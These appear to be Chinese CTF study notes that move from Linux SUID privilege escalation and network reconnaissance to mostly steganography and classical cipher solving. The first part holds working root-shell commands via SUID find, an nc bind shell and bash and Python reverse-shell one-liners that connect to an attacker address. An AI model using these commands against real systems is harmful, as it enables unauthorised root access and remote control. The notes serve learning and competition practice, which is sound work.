MSFVenom Cheat Sheet - Easy Way To Create Metasploit Payloads | The Dark Source (archive.org)

suid (set uid) 是 linux 中的一种特殊权限，suid 可以让调用者以文件拥有者身份运行该文件，所以利用 suid 提权的核心就是运行 root 用户所拥有的 suid 的文件，那么运行该文件的时候就得获得 root 用户的身份了。

在执行过程中，调用者会暂时获得该文件的所有者权限，且该权限只在程序执行的过程中有效。

1
2

chmod u+s filename #设置suid
chmod u-s filename #去除suid

查找所有配置了 SUID 权限的文件

1

find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;

• -type f: 只查找普通文件，排除目录等其他类型的文件

• -exec ls -la {} 2>/dev/null ;: 对查找到的文件执行 ls -la 命令，2>/dev/null 表示将标准错误输出重定向到 /dev/null，以避免显示不必要的错误信息

• -perm 匹配权限：

  1 2 3 4 5 6 7

  4000 2000 1000分别表示SUID SGID SBIT 1.普通文件，文件的权限一般三位，777最高文件权限 -perm -0777搜索的就是最高权限的文件rwxrwxrwx -perm +0777搜索的只要包含rwxrwxrwx任意一个的文件 2.特殊文件，包含权限位置四位，7000为最高，即–s–s–t，同样的方法 -perm -7000搜索的就是最高权限的文件–s–s–t -perm +7000搜索的只要包含–s–s–t任意一个的文件，–s — —（4000）、— –s —（2000）、— — –t（1000）等

有很多赋予 suid 权限的文件可以达到权限提升的效果

更多利用命令在 GTFOBins 可以找到

# find

1
2
3
4
5

find 具有suid权限的filename -exec whoami \; -quit
#root
find 具有suid权限的filename -exec /bin/sh -p \; -quit
#whoami
#root

还有一种差不多的提权方法

1
2
3

#先前利用以上查找suid文件查询到了/usr/bin/find 有suid权限
touch 1.txt #创建1.txt
/usr/bin/find 1.txt -exec whoami \;

# shell

在靶机上：

1

find user -exec nc -lvp 4444 -e '/bin/sh' \;

在攻击机上：

1

nc 靶机ip 4444

反弹 shell

在靶机上:

1

find 具有suid权限的filename -exec bash -c 'bash -i >& /dev/tcp/ip/port 0>&1' \;

在攻击机上：

1

nc -lvp port

也可以写一个反弹 root 的 shell

1
2

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
nc -lvp port

这里也可以结合之前的命令

1

/usr/bin/find 1.txt -exec python -c  'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' \;

各种提权：浅谈 linux suid 提权–先知社区

# Whois

WHOIS 信息查询 - 站长工具 (wujingquan.com)

kali 上：

# nslookup and dig

# Shodan.io

Shodan Search Engine

# DNSDumpster

dns 记录查询

DNSDumpster.com - dns recon and research, find and lookup dns records

# Summary

# Active Reconnaissance

Preparation for Penetration Test - Fc04dB’s BLOG

Information Gathering - Fc04dB’s BLOG

# ping

# Wappalyzer

# Traceroute

traceroute 的目的是查找数据包在从系统传输到目标主机时经过的路由器或跃点的 IP 地址。它指示系统和目标主机之间的跃点（路由器）数。

traceroute MACHINE_IP

# nc

# Nmap

• list: MACHINE_IP scanme.nmap.org example.com 将扫描 3 个 IP 地址。
• range: 10.11.12.15-20 将扫描 6 个 IP 地址： 10.11.12.15 、 10.11.12.16 ,… 和 10.11.12.20 。
• subnet: MACHINE_IP/30 将扫描 4 个 IP 地址。

ARP 查询仅在目标与您位于同一子网（即同一以太网 / WiFi 上）时有效。如果希望 Nmap 仅执行 ARP 扫描而不执行端口扫描，则可以使用 nmap -PR -sn TARGETS，

• 地址解析协议 （ARP） 负责查找与特定 IP 地址相关的 MAC（硬件）地址。它的工作原理是广播 ARP 查询， "Who has this IP address? Tell me." 响应的形式是 "The IP address is at this MAC address."

# arp-scan

Arp-scan 选项摘要 - royhills — Arp-scan option summary - royhills

# Protocol

# Man-in-the-Middle (MITM) Attack

当受害者 （A） 认为他们正在与合法目的地 （B） 通信，但在不知不觉中与攻击者 （E） 通信时，就会发生中间人 （MITM） 攻击

Ettercap 主页 — Ettercap Home Page (ettercap-project.org)

:: bettercap

一键梭哈网站:https://aperisolve.fr/

# 盲水印隐写

一张图片的情况

可以使用 隐形水印工具 V1.2 或者 WaterMark 来提取水印

两张图片的情况

1
2
3

先把要处理的图片拉入BlindWaterMark-master文件夹，然后使用如下命令
py bwmforpy3.py decode day1.png day2.png flag.png --oldseed
Tips:这里还会出现FFT（傅里叶盲水印）:直接运行CTFD中的FFT.py

# 图片的分离和拼接

(1) 可以用 kali 的 convert 分离和 montage 拼接命令

1
2
3
4
5
6

分解GIF的命令：convert glance.gif flag.png
水平镜像翻转图片：convert -flop reverse.jpg reversed.jpg
垂直镜像翻转图片：convert -flip reverse.jpg reversed.jpg
合成图片的命令：montage flag*.png -tile x1 -geometry +0+0 flag.png
-tile是拼接时每行和每列的图片数，这里用x1，就是只一行
-geometry是首选每个图和边框尺寸，我们边框为0，图照原始尺寸即可

(2) 使用在线网站分解：https://tu.sioe.cn/gj/fenjie/，stegsolve 也可以

(3) 用 py 脚本跑

1
2
3
4
5
6
7
8
9
10

import os
from PIL import Image
im = Image.new('RGB', (2*201, 600))  # new(mode,size) size is long and width
PATH = 'E:/ctf/glance.gif'
FILE_NAME = [i for i in os.listdir(PATH)]
width = 0
for i in FILE_NAME:
    im.paste(Image.open(PATH+i), (width, 0, width+2, 600))  # box is 左，上，右,下
    width += 2
im.show()

# 像素点合成

注：Linux wc 命令用于计算字数。

-l 或–lines 显示行数。

-w 或–words 只显示字数。

-c 或–bytes 或–chars 只显示 Bytes 数。

可以改个标题后用在线网站将 txt 转换为 ppm 文件 https://convertfree.com/cn/txt-to-ppm#google_vignette

# OurSecret 隐写

拉入 OurSecret，输入密码解密，得到隐藏文件

# 拼图题

碎图片合成一张图片

1
2
3

#在Windows中使用imagemagick处理
magick.exe montage *.png -tile 18x10 -geometry 125x125+0+0 flag.jpg
magick montage *.png -tile 40x22 -geometry +0+0 flag-0.png

1
2
3
4
5
6
7

#在kali中处理
拉入kali里处理，如果是碎的图片，
先使用 montage *.PNG -tile 12x12 -geometry +0+0 out.png合成一张图片
*.png表示匹配所有图片
-tile表示图片的张数
-geometry +0+0表示每张图片的间距为0
合成后要先查看图片的宽高（宽高要相等，不相等要用PS调整）

也可以使用 gaps 智能拼图

1
2
3
4
5
6
7
8

gaps --image=out.png --generation=30 --population=144 --size=30 --save 

--image 指向拼图的路径
--size 拼图块的像素尺寸
--generations 遗传算法的代的数量
--population 个体数量
--verbose 每一代训练结束后展示最佳结果
--save 将拼图还原为图像

1
2
3
4
5
6

gaps --image=flag.jpg --generations=50 --population=180 --size=125 --verbose

-generations 你要迭代多少次
-population 你有多少个小拼图
--size 每张小图，也就是拼图小块的大小
--verbose 实时显示

# 近邻法缩放图片

在 PS 中打开图片，然后在更改图像大小中，将宽高调成指定像素并将重新采样选项选为邻近（硬边缘）

# pixeljihad（有密码）

直接使用在线网站解密即可：PixelJihad (sekao.net)

# 隐写文本可能藏在原图片和隐写文件的中间

直接在 010 中搜索 IEND，然后查看后面有没有额外内容即可

# 提取图片中等距的像素点得到隐写的图片

在 windows 的终端 wt 中运行 CTFD 中的 Get_Pixels.py

# silenteye 隐写

特征：放大图像后会有行列不对齐的小灰块

直接用 silenteye 打开输入密钥 decode 即可，默认密钥是 silenteye

# 图片报错改宽高后图片无变化

可以再 foremost 一下

# DeEgger Embedder 隐写

可以直接使用 DeEgger Embedder 工具 extract files

# flag 可能藏在 exif 中

直接在 linux 中输入以下命令查看即可，如果偷懒也可以直接使用 破空 flag 查找工具 进行查找

1

exiftool 3.jpg

# 给了两张图片，flag 藏在每行不同像素的个数中

例题 1-2023 羊城杯初赛 - 两支老虎

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

from PIL import Image, ImageChops

img1 = Image.open("1.png")
width1,heigth1 = img1.size # 1134,720
img2 = Image.open("2.png") 
width2,heigth2 = img2.size # 1144,720
img2 = img2.crop((0,0,1134,720))
width2,heigth2 = img2.size
# img2.save("3.png")

diff_dit = {}
# 返回差异图像，表示 img1 和 img2 之间的像素差异。
diff = ImageChops.difference(img1,img2)
width3,heigth3 = diff.size
for x in range(width3):
    for y in range(heigth3):
        pixel3 = str(diff.getpixel((x,y)))
        # 统计一下差异像素
        if pixel3 not in diff_dit: 
            diff_dit[pixel3] = 0
        else:
            diff_dit[pixel3] += 1
print(diff_dit) 
# {'(0, 0, 0)': 813891, '(1, 1, 1)': 2533, '(1, 1, 0)': 53}

for y in range(heigth1):
    cnt = 0
    for x in range(width1):
        pixel1 = img1.getpixel((x,y))
        pixel2 = img2.getpixel((x,y))
        if pixel1 != pixel2:
            cnt += 1
    if cnt != 0:
        print(chr(cnt),end='')
# DASCTF{tWo_t1gers_rUn_f@st}

# PNG

# CRC 错误 (不能乱改)，改宽高

脚本爆破

# LSB (最低有效位) 隐写:

没有密钥的情况

1
2
3
4

# 用zsteg快速查看
zsteg -a (文件名)  #查看各个通道的lsb
-b的位数是从1开始的 zsteg zlib.bmp -b 1 -o xy -v
提取文件并导出 zsteg -e b1,r,lsb,xy 3.png > 123.jpg

stegsolve 保险一点

有密钥的情况（cloacked-pixel）

lsb 隐写的可能是加密后的数据，i 春秋最喜欢的 cloacked-pixel

拉到 kali/WSL 里用 cloacked-pixel 命令解密出数据

1

python2 cloacked-pixel-master/lsb.py extract 0.png out.data f78dcd383f1b574b

0.png 是隐写后的图片；out.data 是隐写内容保存的位置；f78dcd383f1b574b 是密钥

# IDAT 块隐写

(1) 解压 zlib 获得原始数据

然后用 010 提取数据扔进 zlib 脚本解压获得原始数据

将异常的 IDAT 数据块斩头去尾之后使用脚本解压，在 python2 代码如下：

1
2
3
4
5
6

import zlib
import binascii
IDAT = "789C5D91011280400802BF04FFFF5C75294B5537738A21A27D1E49CFD17DB3937A92E7E603880A6D485100901FB0410153350DE83112EA2D51C54CE2E585B15A2FC78E8872F51C6FC1881882F93D372DEF78E665B0C36C529622A0A45588138833A170A2071DDCD18219DB8C0D465D8B6989719645ED9C11C36AE3ABDAEFCFC0ACF023E77C17C7897667".decode('hex')
result = binascii.hexlify(zlib.decompress(IDAT))
print (result.decode('hex'))
print (len(result.decode('hex')))

(2) 加上文件头爆破宽高得到新的图片

一般出问题的 IDAT Chunk 大小都是比正常的小的，很可能在图片末尾

如果不确定是哪一个有问题，可以尝试都提取出来，一个一个分析

可以使用 tweakpng 辅助分析，但是一般用 010 的模板提取分析就够了

我们可用 kali 中的 ** pngcheck -v 0.png ** 检查 IDAT

# png 数据末尾藏 zip

补上压缩包的文件头，然后提取出来，解压 (可用 stegpy 得到解压密码)。

或者直接 foremost 提取

# apngdis_gui

一张 png 图片还可能是 apng，直接用 apngdis_gui 跑一下，可以分出两张相似的 png

# CVE-2023-28303 截图工具漏洞

可以使用 Github 上大佬写好的工具一把梭，前提是需要知道原图的分辨

# JPG

# 用 stegdectet 看看是什么加密：

.\stegdetect.exe -t jopi -s 10.0 .\0.jpg

# steghide 隐写

1
2

#如果密码已经知道了
steghide extract -sf filename -p passwd

1
2
3
4
5
6
7
8
9
10
11
12

#如果密码未知
可以用下面这个脚本爆破
#bruteStegHide.sh
#!/bin/bash

for line in `cat $2`;do
    steghide extract -sf $1 -p $line > /dev/null 2>&1
    if [[ $? -eq 0 ]];then
        echo 'password is: '$line
        exit
    fi
done

1
2

#或者在WSL或者kali里用Stegseek跑（字典在wordlist里）
stegseek filename rockyou.txt

# outguess 隐写

1
2
3

outguess -k "abc" -r mmm.jpg flag.txt
#-k 后面跟的是解密的密钥
#flag.txt是解密后数据保存的位置

# F5-steganography-master

1
2
3
4
5

#有密码的情况
java Extract beautiful.jpg -p passwd
#无密码的情况
java Extract beautiful.jpg
#解密出来的数据会放到F5文件夹下的output.txt中

# JPG 宽高隐写

010 打开 JPG 图片，找到 struct SOF 块数据，手动调整宽高即可

# BMP

# bmp 宽高爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65

import os
import time
import math
import argparse


parser = argparse.ArgumentParser()
parser.add_argument("-f", type=str, default=None, required=True,
                    help="输入同级目录下图片的名称")
args = parser.parse_args()

SAVE_DIR = os.getcwd()


def save_img(data, width=None, height=None, sqrt_num=None):
    with open(os.path.join(SAVE_DIR, "fix_width.bmp"), "wb") as f:
        f.write(data[:0x12] + width.to_bytes(4,
                byteorder="little", signed=False) + data[0x16:])

    with open(os.path.join(SAVE_DIR, "fix_height.bmp"), "wb") as f:
        f.write(data[:0x16] + height.to_bytes(4,
                byteorder="little", signed=False) + data[0x1a:])

    with open(os.path.join(SAVE_DIR, "fix_sqrt.bmp"), "wb") as f:
        f.write(data[:0x12] + sqrt_num.to_bytes(4,
                byteorder="little", signed=False) * 2 + data[0x1a:])


def get_pixels_size(data):
    bfSize = int.from_bytes(data[0x2:0x2+4], byteorder="little", signed=False)
    bfOffBits = int.from_bytes(
        data[0xa:0xa+4], byteorder="little", signed=False)
    biBitCount = int.from_bytes(
        data[0x1c:0x1c+2], byteorder="little", signed=False)
    channel = biBitCount // 8
    # 由于宽高都会被修改，所以我计算出来的Padding_size也不是正确的，没有意义
    # padding_size = (4 - col * channel % 4) * row if col * channel % 4 != 0 else 0
    # pixels_size = (bfSize - bfOffBits - padding_size) // channel
    return (bfSize - bfOffBits) // channel


if __name__ == '__main__':
    file_path = os.path.abspath(args.f)
    if os.path.splitext(args.f)[-1] != ".bmp":
        print("您的文件后缀名不为BMP!")
        time.sleep(1)
        exit(-1)

    with open(file_path, "rb") as f:
        data = f.read()
    col = abs(int.from_bytes(data[0x12:0x12+4],
              byteorder="little", signed=True))
    row = abs(int.from_bytes(data[0x16:0x16+4],
              byteorder="little", signed=True))
    pixels_size = get_pixels_size(data)

    width, height = pixels_size // row, pixels_size // col
    sqrt_num = int(math.sqrt((pixels_size)))
    save_img(data, width=width, height=height, sqrt_num=sqrt_num)

    print("温馨提示：由于填充字节的问题，所以可能会偏差几个像素!")
    print(f"1.修复宽度: {width}")
    print(f"2.修复高度: {height}")
    print(f"3.修复宽度高度为: {sqrt_num}")
    time.sleep(1)

# wbStego4open 隐写

用 wbStego4open 直接 decode

# silenteye 隐写

直接拉入 silenteye 解密即可

# GIF

# GIF 图片可能要分帧提取

stegsolve 可以

# Webp

webp 文件用电脑自带的图片看可能会有点问题，建议用浏览器打开这种文件

webp 可能是动图，可以用下面这个脚本分离 webp 中的每帧图片

1
2
3
4
5
6
7

from PIL import Image

img = Image.open('killer.webp')
n_frame = img.n_frames
for i in range(n_frame):
    img.seek(i)
    img.save(f'img/{i}.png')

# RAW、ARW

# RAW 的 LSB 隐写

ARW 文件是 Sony 相机的原始数据格式

可以使用 rawpy 模块读取图片的像素数据，查看是否存在 LSB 隐写【例：2024 L3HCTF RAWatermark】

示例脚本如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

import rawpy
import numpy as np
import libnum

with rawpy.imread('image.ARW') as raw:
    # 从 raw 对象中获取可见的 Bayer 格式图像数据
    bayer_visible = raw.raw_image_visible
    # print(bayer_visible)
    # 用 bitwise_and() 函数将 bayer_visible 中的每个像素值与 1 进行按位与操作，以提取每个像素的最低有效位（LSB）
    lsb_array = np.bitwise_and(bayer_visible, 1)
    # print(lsb_array)
    # 使用 NumPy 数组的 flatten() 方法将 lsb_array 数组展平成一维数组
    lsb_array_flat = lsb_array.flatten()
    # print(lsb_array_flat)
    hidden_message = ''.join(map(str, lsb_array_flat))
    # 将隐写的数据转为十六进制，便于查看文件头
    hex_data = hex(int(hidden_message, 2))
    # print(hex_data[:10]) # 0x504b0304
    # 将二进制数据转换为byte类型数据
    data = libnum.b2s(hidden_message)

with open('flag.zip', 'wb') as f:
    f.write(data)

# 直接改后缀为.data，然后拖入 Gimp

# 二维码

# bmp 转二维码

# Aztec code、DataMatrix、GridMatrix、汉信码、PDF417code

# 二维码的纠错等级

# 二维码修复

[!IMPORTANT]

参考Lunatic师傅的文章：https://goodlunatic.github.io/posts/1ad9200

⚠👆👆👆👆👆⚠

加密/编码

base

1
2
3
4
5
6
7
8
9
10
11
12

base16                       flag         666C6167
base32[A-Z2-7]               flag         MZWGCZY=
base36                       flag         727432
base58                       flag         3cr9Ae
base64                       flag         Zmxh
base85                       flag         Ao(mg
base91                       flag         @iH<Z
base92                       flag         F#S<I
base100                      flag         👝👣👘👞
base1024                    flag
base2048                    flag         ڥڊװ
base65535                   flag         ꍦ鱡

base64还可以换表编码

比如24省赛预赛的realsignin

套娃base，比如省赛的签到题：

可以使用工具BaseCrack爆破套娃的base

再进一步爆破就好了

MD5加密

1
2
3
4
5
6

明文：admin 
32位小写21232f297a57a5a743894a0e4a801fc3  
32位大写21232F297A57A5A743894A0E4A801FC3  
16位小写7a57a5a743894a0e  
16位大写7A57A5A743894A0E  
Tips：十六位其实就是取32位的8-24位

MD5 加密后的密文应该是 纯数字+纯字符

可能的爆破：md5在线解密破解,md5解密加密 (cmd5.com)

emoji-aes编码：

密文由一大串emoji表情组成，解密需要密钥，例如

已知key：th1sisKey，直接使用在线网站解密即可emoji-aes (aghorler.github.io)

1

🙃💵🌿🎤🚪🌏🐎🥋🚫😆😍🔬👣🖐🌏😇🥋😇😊🍎🏹👌🌊☃🦓🌏🐅🥋🚨📮🐍🎈📮📂✅🐍⏩⌨🎈😍🌊😇🐍☺💧🥋🍌🎤🍍😇👁🦓😇🍍📮📂🎅😡🍵✖✉🏹⌨🍵🎤😆🍵🚹🏹🍎🚨ℹ☃👑🎤🚪💵😎😀😎🔬💵🦓🏹👉🦓✖😀🐘🔪⌨🎈🥋👌🍌🚹😂✉🍎🍌🏎👌🏹💵👌👁🎃🗒

词频分析：

一堆文字，看着什么编码都不像的，可能是词频分析，用在线网站跑https://quipqiup.com/

字频分析：

用随波逐流直接分析

摩斯电码：

1
2
3

#第一种情况，只有.-或者只有01
#第二种情况，加入/或者空格来替换换行符
.--/./.-../-.-./---/--/./-/---/-./-.-/-.-./-/..-./--..--/-/...././.--./.-/.../.../.--/---/.-./-../../.../.----/-..../-.../-.--/-/./.../.-./.-/-./-../---/--/.-../-.--/--././-././.-./.-/-/./-../--..-

vigenere(维吉尼亚)密码：

1.给了密文和Key

直接拉到cyberchef中解密即可

2.给了密文，没给密钥，但是知道目标明文的格式

先用B神的脚本爆破出Key，然后再把这个Key放到cyberchef中解密

3.根据对照表，手搓密钥的前几位

维吉尼亚加密/解密 - Bugku CTF平台

一个爆破脚本，根据前20个字符自行判断（并不万能）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154

'''维吉尼亚破解'''
import numpy as np
import wordninja


def alpha(cipher):  # 预处理,去掉空格以及回车
    c = ''
    for i in range(len(cipher)):
        if (cipher[i].isalpha()):
            c += cipher[i]
    return c


def count_IC(cipher):  # 给定字符串计算其重合指数
    count = [0 for i in range(26)]
    L = len(cipher)
    IC = 0.0
    for i in range(len(cipher)):
        if (cipher[i].isupper()):
            count[ord(cipher[i]) - ord('A')] += 1
        elif (cipher[i].islower()):
            count[ord(cipher[i]) - ord('a')] += 1
    for i in range(26):
        IC += (count[i] * (count[i] - 1)) / (L * (L - 1))
    return IC


def count_key_len(cipher, key_len):  # 对字符串按输入个数进行分组，计算每一组的IC值返回平均值
    N = ['' for i in range(key_len)]
    IC = [0 for i in range(key_len)]
    for i in range(len(cipher)):
        m = i % key_len
        N[m] += cipher[i]
    for i in range(key_len):
        IC[i] = count_IC(N[i])
    # print(IC)
    print("长度为%d时,平均重合指数为%.5f" % (key_len, np.mean(IC)))
    return np.mean(IC)


def length(cipher):  # 遍历确定最有可能的密钥长度返回密钥长度
    key_len = 0
    mins = 100
    aver = 0.0
    for i in range(1, 10):
        k = count_key_len(cipher, i)
        if (abs(k - 0.065) < mins):
            mins = abs(k - 0.065)
            key_len = i
            aver = k
    print("密钥长度为%d,此时重合指数每组的平均值为%.5f" % (key_len, aver))
    return key_len


def count_MIC(c1, c2, n):  # n=k1-k2为偏移量,计算c1,c2互重合指数MIC
    count_1 = [0 for i in range(26)]
    count_2 = [0 for i in range(26)]
    L_1 = len(c1)
    L_2 = len(c2)
    MIC = 0
    for i in range(L_1):
        if (c1[i].isupper()):
            count_1[ord(c1[i]) - ord('A')] += 1
        elif (c1[i].islower()):
            count_1[ord(c1[i]) - ord('a')] += 1
    for i in range(L_2):
        if (c2[i].isupper()):
            count_2[(ord(c2[i]) - ord('A') + n + 26) % 26] += 1
        elif (c2[i].islower()):
            count_2[(ord(c2[i]) - ord('a') + n + 26) % 26] += 1
    for i in range(26):
        MIC += count_1[i] * count_2[i] / (L_1 * L_2)
    return MIC


def count_n(c1, c2):  # 确定两个子串最优的相对偏移量n=k1-k2
    n = 0
    mins = 100
    k = [0.0 for i in range(26)]
    for i in range(26):
        k[i] = count_MIC(c1, c2, i)
        # print(i,k[i])
        if (abs(k[i] - 0.065) < mins):
            mins = abs(k[i] - 0.065)
            n = i
    return n


def group_k(cipher, key_len):  # 完成分组操作并计算每一组与第一组的最优相对偏移量并返回
    N = ['' for i in range(key_len)]
    MIC = [0 for i in range(key_len)]
    s = [0 for i in range(key_len)]
    for i in range(len(cipher)):  # 对密文进行分组
        m = i % key_len
        N[m] += cipher[i]
    for i in range(1, key_len):  # 计算与第一组之间的相对偏移量
        s[i] = count_n(N[0], N[i])  # s[i] = k1-k(i+1)
        MIC[i] = count_MIC(N[0], N[i], s[i])  # MIC[i] = MIC(1,i+1)
        print("第1组和第%d组之间偏移为%d时，互重合指数为%.5f" % (i + 1, s[i], MIC[i]))
    return s


def miyao(key_len, s, k):  # k为第一个子串的移位，输出密钥并返回密钥所有字母的下标
    mi = ['' for i in range(key_len)]
    for i in range(key_len):
        s[i] = -s[i] + k  # k2=k1-n
        mi[i] = chr((s[i] + 26) % 26 + ord('a'))
    print("第一个偏移量为%d,密钥为%s时" % (k, mi))
    return s


def the_end(cipher, key_len, s):  # 输入密文密钥返回明文结果
    plain = ''
    i = 0
    while (i < len(cipher)):
        for j in range(key_len):
            if (cipher[i].isupper()):
                plain += chr((ord(cipher[i]) - ord('A') - s[j] + 26) % 26 + ord('A'))
            else:
                plain += chr((ord(cipher[i]) - ord('a') - s[j] + 26) % 26 + ord('a'))
            i += 1
            if (i == len(cipher)):
                break
                # print(plain)
    return plain


if __name__ == "__main__":
    fp = open("密文.txt", "r")
    cipher = ''
    for i in fp.readlines():
        cipher = cipher + i
    fp.close()
    cipher = alpha(cipher)
    key_len = length(cipher)
    s = group_k(cipher, key_len)
    m = s.copy()
    for k in range(26):
        s = m.copy()
        s = miyao(key_len, s, k)
        plain = the_end(cipher, key_len, s)
        print(plain[0:20])  # 输出部分明文确定偏移量k1
    print("参考输出，请输入第一个子串的偏移量:", end='')
    k = int(input())
    m = miyao(key_len, m, k)
    plain = the_end(cipher, key_len, m)

    '''对英文文本进行分词'''
    word = wordninja.split(plain)
    plain = ''
    for i in range(len(word)):
        plain += word[i]
        plain += ' '
    print("明文为\n" + plain)

希尔密码：

解密网站:http://www.metools.info/code/hillcipher243.html

已知密文和密钥，并且密钥(key)是一个网址，如http://www.verymuch.net

已知密文和密钥，并且密钥是四个数字

1
2

密文：ymyvzjtxswwktetpyvpfmvcdgywktetpyvpfuedfnzdjsiujvpwktetpyvnzdjpfkjssvacdgywktetpyvnzdjqtincduedfpfkjssne
密钥：3 4 19 11

Rabbi密码：

已知密文和密钥，密文有点像base64编码的(可能有+号)

云隐密码：

特征是：密文只由01248组成

用随波逐流或者CTFD中的脚本直接跑

曼彻斯特与差分曼彻斯特编码:

Online Manchester decoder/encoder ‐ eleif.net

1. 曼彻斯特码：从高到低表示 1，从低到高表示 0
2. 差分曼彻斯特码：在每个时钟周期的起始处（虚线处）有跳变表示 0；无跳变则表示1。

社会主义核心价值观密码：

解密网址：http://www.hiencode.com/cvencode.html

公正民主公正文明公正和谐：abc

outguess解密图片：

在kali中下载outguess：outguess -k ‘abc’ -r mmm.jpg -t flag.txt

outguess -k ‘key’ -r 加密后的图片.jpg -t 明文.txt

盲文：

使用https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=mangwen在线翻译

文本加密为音乐符号：

Tips：这里要注意，加密的密文一定是以=结尾的，有时候需要自己把=加上

eg：♭♯♪‖¶♬♭♭♪♭‖‖♭♭♬‖♫♪‖♩♬‖♬♬♭♭♫‖♩♫‖♬♪♭♭♭‖¶∮‖‖‖‖♩♬‖♬♪‖♩♫♭♭♭♭♭§‖♩♩♭♭♫♭♭♭‖♬♭‖¶§♭♭♯‖♫∮‖♬¶‖¶∮‖♬♫‖♫♬‖♫♫§=

直接用在线网站解密：https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=yinyue

敲击码：

特征特点：敲击码是基于5×5方格波利比奥斯方阵来实现的，不同点是是用K字母被整合到C中，因此密文的特征为1-5的两位一组的数字，编码的范围是A-Z字母字符集，字母不区分大小写。

CTF在线工具-在线敲击码|敲击码编码|敲击码算法|tap code (hiencode.com)

Polybius密码(详见CTFwiki)

类似于11，22，11，24这样的

去逗号改成空格，拉入随波逐流直接解密

ROT编码

ROT5、ROT13、ROT18、ROT47 编码是一种简单的码元位置顺序替换暗码。此类编码具有可逆性，可以自我解密，主要用于应对快速浏览，或者是机器的读取，而不让其理解其意。

ROT5 是 rotate by 5 places 的简写，意思是旋转5个位置，其它皆同。下面分别说说它们的编码方式：
ROT5：只对数字进行编码，用当前数字往前数的第5个数字替换当前数字，例如当前为0，编码后变成5，当前为1，编码后变成6，以此类推顺序循环。

ROT13：只对字母进行编码，用当前字母往前数的第13个字母替换当前字母，例如当前为A，编码后变成N，当前为B，编码后变成O，以此类推顺序循环。

ROT18：这是一个异类，本来没有，它是将ROT5和ROT13组合在一起，为了好称呼，将其命名为ROT18。

ROT47：对数字、字母、常用符号进行编码，按照它们的ASCII值进行位置替换，用当前字符ASCII值往前数的第47位对应字符替换当前字符，例如当前为小写字母z，编码后变成大写字母K，当前为数字0，编码后变成符号_。用于ROT47编码的字符其ASCII值范围是33－126，具体可参考ASCII编码。

对称加密

DES加密算法

AES加密算法

AES-ECB(不需要IV)

CyberChef解密AES-ECB时需要将IV设置为\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00

如果 key 不足16字节可以尝试在后面补0

AES-CBC(需要填写IV)

密钥不足16字节时需要padding补齐16字节

可以使用能自动补齐的在线网站解密 https://www.sojson.com/encrypt_aes.html

埃特巴什码(Atbash)

类似于：(+w)v&LdG_FhgKhdFfhgahJfKcgcKdc_eeIJ_gFN

拉入厨子直接解密

1

flag{ ==> Atbash加密 ==> UOZT{

DNA编码

1

AATTCAACAACATGCTGC

解密脚本：

1
2
3
4
5
6
7
8

table = 'ACGT'
dic = {'AAA': 'a', 'AAC': 'b', 'AAG': 'c',
       'AAT': 'd', 'ACA': 'e', 'ACC': 'f', 'ACG': 'g', 'ACT': 'h', 'AGA': 'i', 'AGC': 'j', 'AGG': 'k', 'AGT': 'l', 'ATA': 'm', 'ATC': 'n', 'ATG': 'o', 'ATT': 'p', 'CAA': 'q', 'CAC': 'r', 'CAG': 's', 'CAT': 't', 'CCA': 'u', 'CCC': 'v', 'CCG': 'w', 'CCT': 'x', 'CGA': 'y', 'CGC': 'z', 'CGG': 'A', 'CGT': 'B', 'CTA': 'C', 'CTC': 'D', 'CTG': 'E', 'CTT': 'F', 'GAA': 'G', 'GAC': 'H', 'GAG': 'I', 'GAT': 'J', 'GCA': 'K', 'GCC': 'L', 'GCG': 'M', 'GCT': 'N', 'GGA': 'O', 'GGC': 'P', 'GGG': 'Q', 'GGT': 'R', 'GTA': 'S', 'GTC': 'T', 'GTG': 'U', 'GTT': 'V', 'TAA': 'W', 'TAC': 'X', 'TAG': 'Y', 'TAT': 'Z', 'TCA': '1', 'TCC': '2', 'TCG': '3', 'TCT': '4', 'TGA': '5', 'TGC': '6', 'TGG': '7', 'TGT': '8', 'TTA': '9', 'TTC': '0', 'TTG': ' '}
cipher = 'TCATCAACAAAT'
plain = ''
for i in range(0, len(cipher), 3):
    plain += dic[cipher[i:i+3]]
print(plain)

Decabit编码

正常的 Decabit编码 是十个字符一组的，如果不是十个一组，就很可能不是 Decabit编码

+-+-++–+- ++—+-++- -+–++-++- +–++-++– –+++++— ++-++—+- +++-+-+— +-+-+—++ —+++-++- -+–++-++- -+–+++-+- -+–++-++- -+–++-++- ++-+-+-+– -+–+++-+- ++-++—+- -++++—+- -+–++-++- ++-+-+-+– +-+++—+- +++-++—- —+++-++- +-+-+—++ ++-+-+-+– +-+-+–++- ++–+–++- -++++—+- +—+++-+- ++-+-+-+– -++++—+- -+–+++-+- +–+-+-++- +++-+-+— +-+++—+- -+–+-+++- -+–++-++- —+++-++- ++++—-+- -++++—+- -+–+++-+- -+–++-++- —-+++++-

直接使用 在线网站 解密即可

